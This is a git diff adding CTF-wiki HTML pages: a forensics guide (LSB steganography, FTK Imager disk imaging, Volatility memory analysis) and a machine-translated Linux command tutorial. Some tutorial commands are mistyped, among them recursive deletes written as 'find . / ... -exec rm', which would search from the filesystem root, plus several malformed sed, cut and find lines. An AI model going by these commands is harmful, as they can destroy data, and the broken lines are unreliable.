+ + + + + + + + + + + + + + + + + + + + + + + + + +
11111110
+

The reason steganography is hard to detect by sight is that a 1-bit difference in color is insignificant as seen below.

+

1 Bit Difference

+

Example

+

Let’s say we have an image, and part of it contains the following binary:

+

Steganography Process Step 3

+

And let’s say we want to hide the character y inside.

+

First, we need to convert the hidden message to binary.

+

Steganography Process Step 4

+

Now we take each bit from the hidden message and replace the LSB of the corresponding byte with it.

+

Steganography Process Step 5

+

And again:

+

Steganography Process Step 6

+

And again:

+

Steganography Process Step 7

+

And again:

+

Steganography Process Step 8

+

And again:

+

Steganography Process Step 9

+

And again:

+

Steganography Process Step 10

+

And again:

+

Steganography Process Step 11

+

And once more:

+

Steganography Process Step 12

+

Decoding LSB steganography is exactly the same as encoding, but in reverse. For each byte, grab the LSB and add it to your decoded message. Once you’ve gone through each byte, convert all the LSBs you grabbed into text or a file. (You can use your file signature knowledge here!)

+

What other types of steganography are there?

+

Steganography is hard for the defense side because there’s practically an infinite number of ways it could be carried out. Here are a few examples: - LSB steganography: different bits, different bit combinations - Encode in every certain number of bytes - Use a password - Hide in different places - Use encryption on top of steganography.

+

Disk Imaging

+

A forensic image is an electronic copy of a drive (e.g. a hard drive, USB, etc.). It’s a bit-by-­bit or bitstream file that’s an exact, unaltered copy of the media being duplicated.

+

Wikipedia said that the most straight­forward disk imaging method is to read a disk from start to finish and write the data to a forensics image format. “This can be a time-consuming process, especially for disks with a large capacity,” Wikipedia said.

+

To prevent write access to the disk, you can use a write blocker. It’s also common to calculate a cryptographic hash of the entire disk when imaging it. “Commonly-used cryptographic hashes are MD5, SHA1, and/or SHA256,” said Wikipedia. “By recalculating the integrity hash at a later time, one can determine if the data in the disk image has been changed. This by itself does not protect against intentional tampering, but it can indicate that the data was altered, e.g. due to corruption.”

+

Why image a disk? Forensic imaging: - Prevents tampering with the original data­ evidence - Allows you to play around with the copy, without worrying about messing up the original

+

Forensic Image Extraction Example

+

This example uses the tool AccessData FTK Imager.

+

Step 1: Go to File > Create Disk Image

+

File Image Demo

+

Step 2: Select Physical Drive, because the USB or hard drive you’re imaging is a physical device or drive.

+

File Image Demo

+

Step 3: Select the drive you’re imaging. The 1000 GB is my computer hard drive; the 128 MB is the USB that I want to image.

+

File Image Demo

+

Step 4: Add a new image destination

+

File Image Demo

+

Step 5: Select whichever image type you want. Choose Raw (dd) if you’re a beginner, since it’s the most common type

+

File Image Demo

+

Step 6: Fill in all the evidence information

+

File Image Demo

+

Step 7: Choose where you want to store it

+

File Image Demo

+

Step 8: The image destination has been added. Now you can start the image extraction

+

File Image Demo

+

Step 9: Wait for the image to be extracted

+

File Image Demo

+

Step 10: This is the completed extraction

+

File Image Demo

+

Step 11: Add the image you just created so that you can view it

+

File Image Demo

+

Step 12: This time, choose the image file, since that’s what you just created

+

File Image Demo

+

Step 13: Enter the path of the image you just created

+

File Image Demo

+

Step 14: View the image.

+
    +
  1. Evidence tree Structure of the drive image
  2. +
  3. File list List of all the files in the drive image folder
  4. +
  5. Properties Properties of the file/folder being examined
  6. +
  7. Hex viewer View of the drive/folders/files in hexadecimal
  8. +
+

File Image Demo

+

Step 15: To view files in the USB, go to Partition 1 > [USB name] > [root] in the Evidence Tree and look in the File List

+

File Image Demo

+

Step 16: Selecting fileA, fileB, fileC, or fileD gives us some properties of the files & a preview of each photo

+

File Image Demo

+

Step 17: Extract files of interest for further analysis by selecting, right-clicking, and choosing Export Files

+

File Image Demo

+

Memory Forensics

+

There are plenty of traces of someone's activity on a computer, but perhaps some of the most valuable information can be found within memory dumps, that is images taken of RAM. These dumps of data are often very large but can be analyzed using a tool called Volatility

+

Volatility Basics

+

Memory forensics isn't all that complicated, the hardest part would be using your toolset correctly. A good workflow is as follows:

+
    +
  1. Run strings for clues
  2. +
  3. Identify the image profile (which OS, version, etc.)
  4. +
  5. Dump processes and look for suspicious processes
  6. +
  7. Dump data related interesting processes
  8. +
  9. View data in a format relating to the process (Word: docx, Notepad: txt, Photoshop: psd, etc.)
  10. +
+

Profile Identification

+

To properly use Volatility you must supply a profile with --profile=PROFILE, therefore before any sleuthing, you need to determine the profile using imageinfo:

+
$ python vol.py -f ~/image.raw imageinfo
+Volatility Foundation Volatility Framework 2.4
+Determining profile based on KDBG search...
+
+          Suggested Profile(s) : Win7SP0x64, Win7SP1x64, Win2008R2SP0x64, Win2008R2SP1x64
+                     AS Layer1 : AMD64PagedMemory (Kernel AS)
+                     AS Layer2 : FileAddressSpace (/Users/Michael/Desktop/win7_trial_64bit.raw)
+                      PAE type : PAE
+                           DTB : 0x187000L
+                          KDBG : 0xf80002803070
+          Number of Processors : 1
+     Image Type (Service Pack) : 0
+                KPCR for CPU 0 : 0xfffff80002804d00L
+             KUSER_SHARED_DATA : 0xfffff78000000000L
+           Image date and time : 2012-02-22 11:29:02 UTC+0000
+     Image local date and time : 2012-02-22 03:29:02 -0800
+
+

Dump Processes

+

To view processes, the pslist or pstree, or psscan command can be used.

+
$ python vol.py -f ~/image.raw pslist --profile=Win7SP0x64 pstree
+Volatility Foundation Volatility Framework 2.5
+Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
+------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
+0xffffa0ee12532180 System                    4      0    108        0 ------      0 2018-04-22 20:02:33 UTC+0000
+0xffffa0ee1389d040 smss.exe                232      4      3        0 ------      0 2018-04-22 20:02:33 UTC+0000
+...
+0xffffa0ee128c6780 VBoxTray.exe           3324   1123     10        0      1      0 2018-04-22 20:02:55 UTC+0000
+0xffffa0ee14108780 OneDrive.exe           1422   1123     10        0      1      1 2018-04-22 20:02:55 UTC+0000
+0xffffa0ee14ade080 svchost.exe             228    121      1        0      1      0 2018-04-22 20:14:43 UTC+0000
+0xffffa0ee1122b080 notepad.exe            2019   1123      1        0      1      0 2018-04-22 20:14:49 UTC+0000
+
+

Process Memory Dump

+

Dumping the memory of a process can prove to be fruitful, say we want to dump the data from notepad.exe:

+
$ python vol.py -f ~/image.raw --profile=Win7SP0x64 memdump -p 2019 -D dump/
+Volatility Foundation Volatility Framework 2.4
+************************************************************************
+Writing System [     2019] to 2019.dmp
+
+$ ls -alh dump/2019.dmp
+-rw-r--r--  1 user  staff   111M Apr 22 20:47 dump/2019.dmp
+
+

Other Useful Commands

+

There are plenty of commands that Volatility offers but some highlights include:

+
    +
  • $ python vol.py -f IMAGE --profile=PROFILE connections: view network connections
  • +
  • $ python vol.py -f IMAGE --profile=PROFILE cmdscan: view commands that were run in cmd prompt
  • +
+

Hex Editor

+

A hexadecimal (hex) editor (also called a binary file editor or byte editor) is a computer program you can use to manipulate the fundamental binary data that constitutes a computer file. The name “hex” comes from “hexadecimal,” a standard numerical format for representing binary data. A typical computer file occupies multiple areas on the platter(s) of a disk drive, whose contents are combined to form the file. Hex editors that are designed to parse and edit sector data from the physical segments of floppy or hard disks are sometimes called sector editors or disk editors. A hex editor is used to see or edit the raw, exact contents of a file. Hex editors may be used to correct data corrupted by a system or application. A list of editors can be found on the forensics Wiki. You can download one and install it on your system.

+

Example

+

Open fileA.jpg in a hex editor. (Most Hex editors have either a “File > Open” option or a simple drag and drop.)

+

fileA

+

When you open fileA.jpg in your hex editor, you should see something similar to this:

+

Hexadecimal Editor Screenshot

+

Your hex editor should also have a “go to” or “find” feature so you can jump to a specific byte.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/Linux Basics/index.html b/CTF/Linux Basics/index.html new file mode 100644 index 000000000..3fc745b04 --- /dev/null +++ b/CTF/Linux Basics/index.html @@ -0,0 +1,9914 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Linux OS Installation and Basics - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Linux OS Installation and Basics

+
+

https://linuxtools-rst.readthedocs.io/zh_CN/latest/base/index.html

+

https://www.tutorialspoint.com/unix/index.htm

+

https://www.digitalocean.com/community/tutorials/an-introduction-to-linux-basics

+
+

What is Unix ?

+

The Unix operating system is a set of programs that act as a link between the computer and the user.

+

The computer programs that allocate the system resources and coordinate all the details of the computer's internals are called the operating system or the kernel.

+

Users communicate with the kernel through a program known as the shell. The shell is a command line interpreter; it translates commands entered by the user and converts them into a language that is understood by the kernel.

+
    +
  • Unix was originally developed in 1969 by a group of AT&T employees Ken Thompson, Dennis Ritchie, Douglas McIlroy, and Joe Ossanna at Bell Labs.
  • +
  • There are various Unix variants available in the market. Solaris Unix, AIX, HP Unix, and BSD are a few examples. Linux is also a freely available flavor of Unix.
  • +
  • Several people can use a Unix computer at the same time; hence Unix is called a multiuser system.
  • +
  • A user can also run multiple programs at the same time; hence Unix is a multitasking environment.
  • +
+

Prerequisites

+

To follow along with this guide, you will need access to a computer running a Linux-based operating system. This can either be a virtual private server that you’ve connected to with SSH or your local machine. Note that this tutorial was validated using a Linux server running Ubuntu 20.04, but the examples given should work on a computer running any version of any Linux distribution.

+

If you plan to use a remote server to follow this guide, we encourage you to first complete our Initial Server Setup guide. Doing so will set you up with a secure server environment — including a non-root user with sudo privileges and a firewall configured with UFW — which you can use to build your Linux skills.

+

The Terminal

+

The terms “terminal,” “shell,” and “command line interface” are often used interchangeably, but there are subtle differences between them:

+
    +
  • A terminal is an input and output environment that presents a text-only window running a shell.
  • +
  • A shell is a program that exposes the computer’s operating system to a user or program. In Linux systems, the shell presented in a terminal is a command line interpreter.
  • +
  • A command line interface is a user interface (managed by a command line interpreter program) that processes commands to a computer program and outputs the results.
  • +
+

When someone refers to one of these three terms in the context of Linux, they generally mean a terminal environment where you can run commands and see the results printed out to the terminal, such as this:

+

Terminal window example

+

Becoming a Linux expert requires you to be comfortable with using a terminal. Any administrative task, including file manipulation, package installation, and user management, can be accomplished through the terminal. The terminal is interactive: you specify commands to run and the terminal outputs the results of those commands. To execute any command, you type it into the prompt and press ENTER.

+

When accessing a cloud server, you’ll most often be doing so through a terminal shell. Although personal computers that run Linux often come with the kind of graphical desktop environment familiar to most computer users, it is often more efficient or practical to perform certain tasks through commands entered into the terminal.

+

Learn to use command help

+

Overview

+

In the linux terminal, when we don't know how to use a command, or don't remember the spelling of a command or its parameters, we need to turn to the system's help documentation; the built-in help documentation in linux is very detailed and usually solves our problems, so we need to know how to use it properly.

+
    +
  • in cases where we only remember some of the command keywords, we can search for them by using man -k.
  • +
  • needing a brief description of a command, we can use what is; for a more detailed description, we can use the info command.
  • +
  • to see where the command is located, we need to use which.
  • +
  • and for the specific parameters of a command and how to use it, we need to use the powerful man.
  • +
+

These commands are described below.

+

Command usage

+

View a brief description of the command

+

A brief description of what the command does (showing the man category page where the command is located):

+
$whatis command
+
+

Regular match:

+
$whatis -w "loca*"
+
+

More detailed documentation:

+
$info command
+
+

Using man

+

Query the documentation for the command command:

+
$man command
+eg: man date
+
+

Using page up and page down to page up and down

+

In the man help manual, the help documentation is divided into 9 categories, for some keywords that may exist in more than one category, we need to specify a specific category to view; (generally, we query the bash command, categorized in category 1).

+

man page belongs to the category identification (commonly used is category 1 and category 3)

+
(1), the user can operate the command or executable file
+(2), the core of the system can be called functions and tools, etc.
+(3), some common functions and databases
+(4), the description of the device file
+(5), the format of the settings file or some files
+(6), games
+(7), conventions and protocols, etc. For example, the Linux standard file system, network protocols, ASCII, code and other descriptions of the content
+(8), the system administrator available to manage the order
+(9), and kernel-related files
+
+

As mentioned earlier using whatis will show the specific document category where the command is located, we learn how to use it

+
eg:
+$whatis printf
+printf (1) - format and print data
+printf (1p) - write formatted output
+printf (3) - formatted output conversion
+printf (3p) - print formatted output
+printf [builtins] (1) - bash built-in commands, see bash(1)
+
+

We see that printf is available in both category 1 and category 3; the pages in category 1 are for help on command operations and executables; while 3 is for instructions on commonly used libraries; if we want to see the use of printf in C, we can specify to see the help in category 3:

+
$man 3 printf
+
+$man -k keyword
+
+

query keyword Query commands based on some of the keywords in the command, for occasions when only part of the command is remembered.

+

eg: Find GNOME's config tool command:

+
$man -k GNOME config| grep 1
+
+

For a word search, you can use /word directly to use: /-a; pay more attention to SEE ALSO to see more exciting content

+

Checking paths

+

Check the path to the program's binary file:

+
$which command
+
+

eg: Find the path where the make program is installed:

+
$which make
+/opt/app/openav/soft/bin/make install
+
+

Check the search path of the program:

+
$whereis command
+
+

This command comes in handy when there are multiple versions of the same software installed on the system and you are not sure which version is being used.

+

File and directory management

+

Directory

+
    +
  • File and directory management
  • +
  • Create and delete
  • +
  • Directory switching
  • +
  • List directory entries
  • +
  • Find directories and files find/locate
  • +
  • View file contents
  • +
  • Find the contents of a file
  • +
  • Modify file and directory permissions
  • +
  • Adding aliases to files
  • +
  • Piping and Redirection
  • +
  • Set environment variables
  • +
  • Bash shortcut input or delete
  • +
  • General Application
  • +
+

File management is nothing more than creating, deleting, querying, and moving files or directories, with mkdir/rm/mv

+

file query as the focus, with found for query; find is parameter rich and very powerful.

+

viewing file content is a big topic, and there are too many tools for us to use for text processing, which are just pointed out in this chapter, and a special chapter will be devoted to text processing tools later.

+

Sometimes it is necessary to create an alias for a file, and we need to use ln, using this alias has the same effect as using the original file.

+

Create and delete

+
    +
  • Create: mkdir
  • +
  • Delete: rm
  • +
  • Delete non-empty directories: rm -rf file directory
  • +
  • Delete log rm log (Equivalent: $find . / -name "log" -exec rm {} ;)
  • +
  • Move: mv
  • +
  • Copy: cp (Copy directory: cp -r )
  • +
+

View the number of files in the current directory:

+
$find . / | wc -l
+
+

Copy the directory:

+
$cp -r source_dir dest_dir
+
+

Directory switching

+
    +
  • Find the file/directory location: cd
  • +
  • Switch to the previous working directory: cd -
  • +
  • Switch to the home directory: cd or cd ~
  • +
  • Show current path: pwd
  • +
  • Change the current working path to path: $cd path
  • +
+

List directory entries

+
    +
  • Display the files in the current directory ls
  • +
  • Show directory entries as a list, sorted by time ls -lrt
  • +
+

The above command is used so often that we need to create a shortcut for it:

+

Set the command alias in .bashrc:

+
alias lsl='ls -lrt'
+alias lm='ls -al|more'
+
+

so that, using lsl, the files in the directory can be displayed sorted by modification time; in a list.

+
    +
  • Add an id number to the front of each file (for a neater look):
  • +
+
> ls | cat -n
+
+

> 1 a 2 a.out 3 app 4 b 5 bin 6 config

+

Note: .bashrc is stored as a hidden file under the /home/your username/ folder; you can check it with ls -a.

+

Find directories and files find/locate

+

Search for a file or directory:

+
$find . / -name "core*" | xargs file
+
+

Find if there is an obj file in the target folder:

+
$find . / -name '*.o'
+
+

Recursively delete all .o files in the current directory and subdirectories:

+
$find . / -name "*.o" -exec rm {} \;
+
+

find is a real-time lookup, if you need a faster query, try locate; locate will create an index database for the file system, if there are file updates, you need to execute the update command periodically to update the index database:

+
$locate string
+
+

Find paths that contain string:

+
$updatedb
+
+

Unlike find, locate is not a real-time lookup. You need to update the database to get the latest file index information.

+

View file contents

+

To view the file: cat vi head tail more

+

Display the file with the line number:

+
$cat -n
+
+

Show list contents by page:

+
$ls -al | more
+
+

See only the first 10 lines:

+
$head - 10 **
+
+

Show the first line of the file:

+
$head -1 filename
+
+

Show the penultimate line of the file:

+
$tail -5 filename
+
+

See the difference between the two files:

+
$diff file1 file2
+
+

Dynamically display the latest information in the text:

+
$tail -f crawler.log
+
+

Find the contents of a file

+

Use egrep to query the contents of a file:

+
egrep '03.1\/CO\/AE' TSF_STAT_111130.log.012
+egrep 'A_LMCA777:C' TSF_STAT_111130.log.035 > co.out2
+
+

File and directory permission modification

+
    +
  • Change the owner of a file chown
  • +
  • Change file read, write, execute, etc. attributes chmod
  • +
  • Recursive subdirectory modification: chown -R tuxapp source/
  • +
  • Add script executable permissions: chmod a+x myscript
  • +
+

Add aliases to files

+

Create symbolic/hard links:

+
ln cc ccAgain :hard link; delete one, will still be found.
+ln -s cc ccTo :symbolic link (soft link); delete the source, the other will not be available; (the latter ccTo is a newly created file)
+
+

Pipelines and Redirects

+
    +
  • Batch command concatenation execution, using |
  • +
  • Concatenation: use semicolon ;
  • +
  • If the previous one succeeds, the next one is executed, otherwise, it is not executed :&&
  • +
  • If the first one fails, the next one is executed: ||
  • +
+
ls /proc && echo suss! || echo failed.
+
+

The ability to indicate whether the named execution succeeded OR failed.

+

The same effect as above is :

+
if ls /proc; then echo suss; else echo failed; fi
+
+

Redirect:

+
ls proc/*.c > list 2> &l Redirects standard output and standard errors to the same file.
+
+

The equivalent is :

+
ls proc/*.c &> list
+
+

Clear the file:

+
:> a.txt
+
+

Redirect:

+
echo aa >> a.txt
+
+

Setting environment variables

+

automatically executed after starting the account is the file .profile, through which you can then set your own environment variables.

+

The path of the installed software usually needs to be added to the path:

+
PATH=$APPDIR:/opt/app/soft/bin:$PATH:/usr/local/bin:$TUXDIR/bin:$ORACLE_HOME/bin;export PATH
+
+

Bash shortcut input or delete

+

Shortcut keys:

+
Ctl-U deletes all characters from the cursor to the beginning of the line, and in some settings, the entire line
+Ctl-W deletes the characters between the current cursor and the nearest preceding space
+Ctl-H backspace, delete the character in front of the cursor
+Ctl-R match the closest file and output
+
+

Integrated Applications

+

Find the total number of records in record.log that contain AAA, but not BBB:

+
cat -v record.log | grep AAA | grep -v BBB | wc -l
+
+

Text processing

+

Directory

+
    +
  • Text processing
  • +
  • find File Find
      +
    • Customized search
    • +
    • Follow-up actions after finding
    • +
    • Delimiters for -print
    • +
    +
  • +
  • grep text search
  • +
  • xargs command line argument conversion
  • +
  • sort sorting
  • +
  • uniq Eliminate duplicate rows
  • +
  • Convert with tr
  • +
  • cut slice text by column
  • +
  • paste Splice text by column
  • +
  • wc Tools for counting rows and characters
  • +
  • sed text replacement tool
  • +
  • awk data stream processing tool
      +
    • print prints the current line
    • +
    • Special variables: NR NF $0 $1 $2
    • +
    • Passing external variables
    • +
    • Filtering lines processed by awk with styles
    • +
    • Setting delimiters
    • +
    • Reading command output
    • +
    • Using loops in awk
    • +
    • awk combined with grep to find the specified service and kill it
    • +
    • awk implements the head and tail commands
    • +
    • Print specified columns
    • +
    • Print a specified text area
    • +
    • Common built-in functions in awk
    • +
    +
  • +
  • Iterate over lines, words and characters in a file
      +
    • +
        +
      1. iterate over each line in the file
      2. +
      +
    • +
    • +
        +
      1. iterate over each word in a line
      2. +
      +
    • +
    • +
        +
      1. iterate over each character
      2. +
      +
    • +
    +
  • +
+

This section will introduce the most commonly used tools for working with text in the shell under Linux: find, grep, xargs, sort, uniq, tr, cut, paste, wc, sed, awk; the examples and arguments provided are all commonly used; my rule for shell scripts is to write a single line of command, try not to exceed 2 lines; if there are more more complex tasks, consider python.

+ +

find txt and pdf files:

+
find . \( -name "*.txt" -o -name "*.pdf" \) -print
+
+

regular way to find .txt and pdf:

+
find . -regex ". *\(\.txt|\.pdf\)$"
+
+

-iregex: ignore case-sensitive regularity

+

Negate arguments , find all non-txt text:

+
find . ! -name "*.txt" -print
+
+

Specify the search depth, print out the files in the current directory (depth 1):

+
find . -maxdepth 1 -type f
+
+ +
    +
  • Search by type
  • +
+
find . -type d -print // list all directories only
+
+

-type f files / l symbolic links / d directories

+

the file search types supported by find can distinguish between ordinary files and symbolic links, directories, etc., but binary and text files cannot be distinguished directly by the types of find

+

The file command can check the specific type of file (binary or text):

+
$file redis-cli # binary file
+redis-cli: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped
+$file redis.pid # Text file
+redis.pid: ASCII text
+redis.pid: ASCII text
+
+

So, you can use the following combination of commands to find all the binary files in your local directory:

+
ls -lrt | awk '{print $9}'|xargs file|grep ELF| awk '{print $1}'|tr -d ':'
+
+
    +
  • +

    Search by time

    +

    -atime access time (in days, or -amin in minutes, similar below) -mtime modification time (content was modified) -ctime change time (metadata or permission changes)

    +
  • +
+

All files that have been accessed in the last 7 days:

+
find . -atime 7 -type f -print
+
+

All files that have been accessed in the last 7 days:

+
find . -atime -7 -type f -print
+
+

Search for all files accessed 7 days ago:

+
find . -atime +7 type f -print
+
+
    +
  • Search by size.
  • +
+

w word k M G Find files larger than 2k:

+
find . -type f -size +2k
+
+

Find by permissions:

+
find . -type f -perm 644 -print //find all files with executable permissions
+
+

Find by user:

+
find . -type f -user weber -print// Find files owned by user weber
+
+

Follow-up actions after finding

+
    +
  • Delete
  • +
+

Delete all swp files in the current directory:

+
find . -type f -name "*.swp" -delete
+
+

Another syntax:

+
find . type f -name "*.swp" | xargs rm
+
+
    +
  • Execute action (powerful exec)
  • +
+

Change the ownership of the current directory to weber:

+
find . -type f -user root -exec chown weber {} \;
+
+

Note: {} is a special string, and for each matching file, {} is replaced with the corresponding filename.

+

Copy all the files found to another directory:

+
find . -type f -mtime +10 -name "*.txt" -exec cp {} OLD \;
+
+
    +
  • Combining multiple commands
  • +
+

If you need to execute multiple commands subsequently, you can write multiple commands as one script. Then just execute the script when -exec is called:

+
-exec . /commands.sh {} \;
+
+

-print's delimiter

+

Use '\n' as the delimiter for the file by default.

+

-print0 uses '\0' as the file delimiter so that it can search for files containing spaces.

+ +
grep match_patten file // default access to matching lines
+
+

Common parameters

+

-o only output matching text lines VS -v only output text lines that do not match

+

-c counts the number of times the file contains text

+
grep -c "text" filename
+
+

-n Print matching line numbers

+

-i Ignore case when searching

+

-l prints only the file name

+

Recursive search for text in multi-level directories (a favorite of programmers searching for code):

+
grep "class" . -R -n
+
+

Match multiple patterns:

+
grep -e "class" -e "vitural" file
+
+

grep output file names with a 0 as the ending character (-z):

+
grep "test" file* -lZ| xargs -0 rm
+
+

Comprehensive application: find all sql lookups with where conditions in the log:

+
cat LOG.* | tr a-z A-Z | grep "FROM " | grep "WHERE" > b
+
+

find Chinese example: project directory in utf-8 format and gb2312 format two kinds of files, to find the word is Chinese.

+
    +
  1. +

    find out its utf-8 encoding and gb2312 encoding are E4B8ADE69687 and D6D0CEC4 respectively

    +
  2. +
  3. +

    query :

    +
  4. +
+
   grep: grep -rnP "\xE4\xB8\xAD\xE6\x96\x87|\xD6\xD0\xCE\xC4" * can be
+
+

Chinese character code lookup: http://bm.kdd.cc/

+

Xargs Command Line Parameter Conversion

+

xargs is able to convert input data into command line arguments for a specific command; in this way, it can be used in combination with many commands. e.g. grep, e.g. find; - Converting multi-line output to single-line output

+

cat file.txt| xargs

+

n is a delimiter between multiple lines of text

+
    +
  • Convert single line to multi-line output
  • +
+
cat single.txt | xargs -n 3
+
+

-n: specifies the number of fields to display per line

+

Description of xargs parameters

+

-d defines the delimiter (the default is a space. The delimiter for multiple lines is n) +-n specifies that the output is multi-line +-I {} specifies the replacement string that will be replaced when xargs is expanded, used when the command to be executed requires multiple arguments +-0: specify 0 as input delimiter

+

Example:

+
cat file.txt | xargs -I {} . /command.sh -p {} -1
+
+# Count the number of lines in the program
+find source_dir/ -type f -name "*.cpp" -print0 |xargs -0 wc -l
+
+#redis stores data by string and indexes by set, and needs to look up all values by index.
+. /redis-cli smembers $1 | awk '{print $1}'|xargs -I {} . /redis-cli get {}
+
+

Sort

+

Field Description

+

-n Sort by number VS -d Sort by dictionary order +-r Sort in reverse order +-k N specifies sorting by column N

+

Example:

+
sort -nrk 1 data.txt
+sort -bd data // ignore leading whitespace characters like spaces
+
+

Uniq Eliminate duplicate rows

+
    +
  • Eliminate duplicate rows
  • +
+
sort unsort.txt | uniq
+
+
    +
  • Count the number of times each row appears in the file
  • +
+
sort unsort.txt | uniq -c
+
+
    +
  • Find duplicate rows
  • +
+
sort unsort.txt | uniq -d
+
+

You can specify the duplicates to be compared in each line: -s start position -w number of characters to compare

+

Converting with tr

+
    +
  • General usage
  • +
+
echo 12345 | tr '0-9' '9876543210' // encryption and decryption conversion, replacing the corresponding characters
+cat text| tr '\t' ' ' //tab to space conversion
+
+
    +
  • tr delete characters
  • +
+
cat file | tr -d '0-9' // delete all numbers
+
+

-c find the complement

+
cat file | tr -c '0-9' // Get all the numbers in the file
+cat file | tr -d -c '0-9 \n' // delete non-numeric data
+
+
    +
  • tr compress characters
  • +
+

tr -s compresses repetitive characters in text; most often used to compress extra spaces:

+
cat file | tr -s ' '
+
+
    +
  • +

    Character classes

    +
  • +
  • +

    Various character classes are available in tr.

    +
  • +
+

alnum: letters and numbers alpha: letters digit: numbers space: blank characters lower: lowercase upper: uppercase cntrl: control (non-printable) characters print: printable characters

+

Usage: tr [:class:] [:class:]

+
tr '[:lower:]' '[:upper:]'
+
+

Cut cut text by column

+
    +
  • Truncate the second and fourth columns of the file
  • +
+
cut -f2,4 filename
+
+
    +
  • Remove all columns from the file except column 3
  • +
+
cut -f3 --complement filename
+
+

-d Specify delimiters

+
cat -f2 -d";" filename
+
+

-cut The range to take

+
N - Nth field to the end -M 1st field for MN-M N to M fields
+
+
    +
  • +

    The unit to be fetched by cut

    +

    -b in bytes -c in characters -f in fields (using delimiters)

    +
  • +
+

Example:

+
cut -c1-5 file // print first to 5 characters
+cut -c-2 file //Print the first 2 characters
+
+

Truncate columns 5 to 7 of the text

+
$echo string | cut -c5-7
+
+

Paste Splice text by column

+

Splices two pieces of text together by column;

+
cat file1
+1
+2
+
+cat file2
+colin
+book
+
+paste file1 file2
+1 colin
+2 book
+
+

The default delimiter is tab, you can use -d to specify the delimiter:

+
paste file1 file2 -d ","
+1,colin
+2,book
+
+

Wc Tools for counting lines and characters

+
$wc -l file // count the number of lines
+
+$wc -w file // count the number of words
+
+$wc -c file // count the number of characters
+
+

Sed text replacement tool

+
    +
  • First substitution
  • +
+
sed 's/text/replace_text/' file // Replace the first matching text on each line
+
+
    +
  • Global replacement
  • +
+
sed 's/text/replace_text/g' file
+
+

Default replace, output the replaced content, if you need to replace the original file directly, use -i:

+
sed -i 's/text/repalce_text/g' file
+
+
    +
  • Remove blank lines
  • +
+
sed '/^$/d' file
+
+
    +
  • Variable conversion
  • +
+

Matched strings are referenced by the & marker.

+
echo this is en example | sed 's/\w+/[&]/g'
+$>[this] [is] [en] [example]
+
+
    +
  • Substring matching tokens
  • +
+

The contents of the first matching bracket are referenced using token 1

+
sed 's/hello\([0-9]\)/\1/'
+
+
    +
  • Double quotes for values
  • +
+

sed is usually quoted in single quotes; double quotes can also be used, and when used, double quotes will evaluate the expression:

+
sed 's/$var/HLLOE/'
+
+

when using double quotes, we can specify variables in sed style and in replacement strings.

+
eg:
+p=patten
+r=replaced
+echo "line con a patten" | sed "s/$p/$r/g"
+$>line con a replaced
+
+
    +
  • Other examples
  • +
+

String insertion character: converts each line of text (ABCDEF) to ABC/DEF:

+
sed 's/^. \{3\}/&\/g' file
+
+

Awk data stream processing tool

+
    +
  • The awk script structure
  • +
+
awk ' BEGIN{ statements } statements2 END{ statements } '
+
+
    +
  • +

    How it works

    +
  • +
  • +

    executing the block of statements in begin.

    +
  • +
  • +

    reads a line from the file or stdin and executes statements2, repeating the process until the file has been read in its entirety.

    +
  • +
  • +

    Execute the end statement block.

    +
  • +
+ +
    +
  • When using print without arguments, the current line is printed
  • +
+
echo -e "line1\nline2" | awk 'BEGIN{print "start"} {print } END{ print "End" }'
+
+
    +
  • print When split by commas, arguments are delimited by spaces;
  • +
+
echo | awk ' {var1 = "v1" ; var2 = "V2"; var3 = "v3"; \
+print var1, var2 , var3; }'
+$>v1 V2 v3
+
+
    +
  • Using the -splicer approach ("" as a splice character) ;
  • +
+
echo | awk ' {var1 = "v1" ; var2 = "V2"; var3 = "v3"; \
+print var1"-"var2"-"var3; }'
+$>v1-V2-v3
+
+

Special variables: NR NF $0 $1 $2

+

NR:indicates the number of records, corresponding to the line number that should precede it during execution.

+

NF:indicates the number of fields, which always pairs up with the number of fields that should go forward during execution.

+

$0:this variable contains the text content of the current line during execution.

+

$1:the text content of the first field.

+

$2:the text content of the second field.

+
echo -e "line1 f2 f3 \n line2 \n line 3" | awk '{print NR":"$0"-"$1"-"$2}'
+
+
    +
  • Print the second and third fields of each line
  • +
+
awk '{print $2, $3}' file
+
+
    +
  • Count the number of lines in the file
  • +
+
awk ' END {print NR}' file
+
+
    +
  • Accumulate the first field of each line
  • +
+
echo -e "1\n 2\n 3\n 4\n" | awk 'BEGIN{num = 0 ;
+print "begin";} {sum += $1;} END {print "=="; print sum }'
+
+

Passing external variables

+
var=1000
+echo | awk '{print vara}' vara=$var # Input from stdin
+awk '{print vara}' vara=$var file # Input from file
+
+

Filter the lines processed by awk with the style

+
awk 'NR < 5' # line number less than 5
+awk 'NR == 1,NR == 4 {print}' file # Print out line numbers equal to 1 and 4
+awk '/linux/' # lines containing linux text (can be specified with regular expressions, super powerful)
+awk '! /linux/' # lines that do not contain linux text
+
+

Set delimiters

+

Use -F to set delimiters (default is spaces):

+
awk -F: '{print $NF}' /etc/passwd
+
+

Read command output

+

Use getline to read the output of an external shell command into the variable cmdout:

+
echo | awk '{"grep root /etc/passwd" | getline cmdout; print cmdout }'
+
+

Using loops in awk

+
for(i=0;i<10;i++){print $i;}
+for(i in array){print array[i];}
+
+

eg:The following string, print out the time string:

+
2015_04_02 20:20:08: mysqli connect failed, please check connect info
+$echo '2015_04_02 20:20:08: mysqli connect failed, please check connect info'|awk -F ":" '{ for(i=1;i<=;i++) printf("%s:",$i)}'
+>2015_04_02 20:20:08: # This way will print the last colon
+$echo '2015_04_02 20:20:08: mysqli connect failed, please check connect info'|awk -F':' '{print $1 ":" $2 ":" $3; }'
+>2015_04_02 20:20:08 # This way satisfies the requirement
+
+

And if you need to print out the later part as well (the time part is printed separately from the later text) :

+
$echo '2015_04_02 20:20:08: mysqli connect failed, please check connect info'|awk -F':' '{print $1 ":" $2 ":" $3; print $4;}'
+>2015_04_02 20:20:08
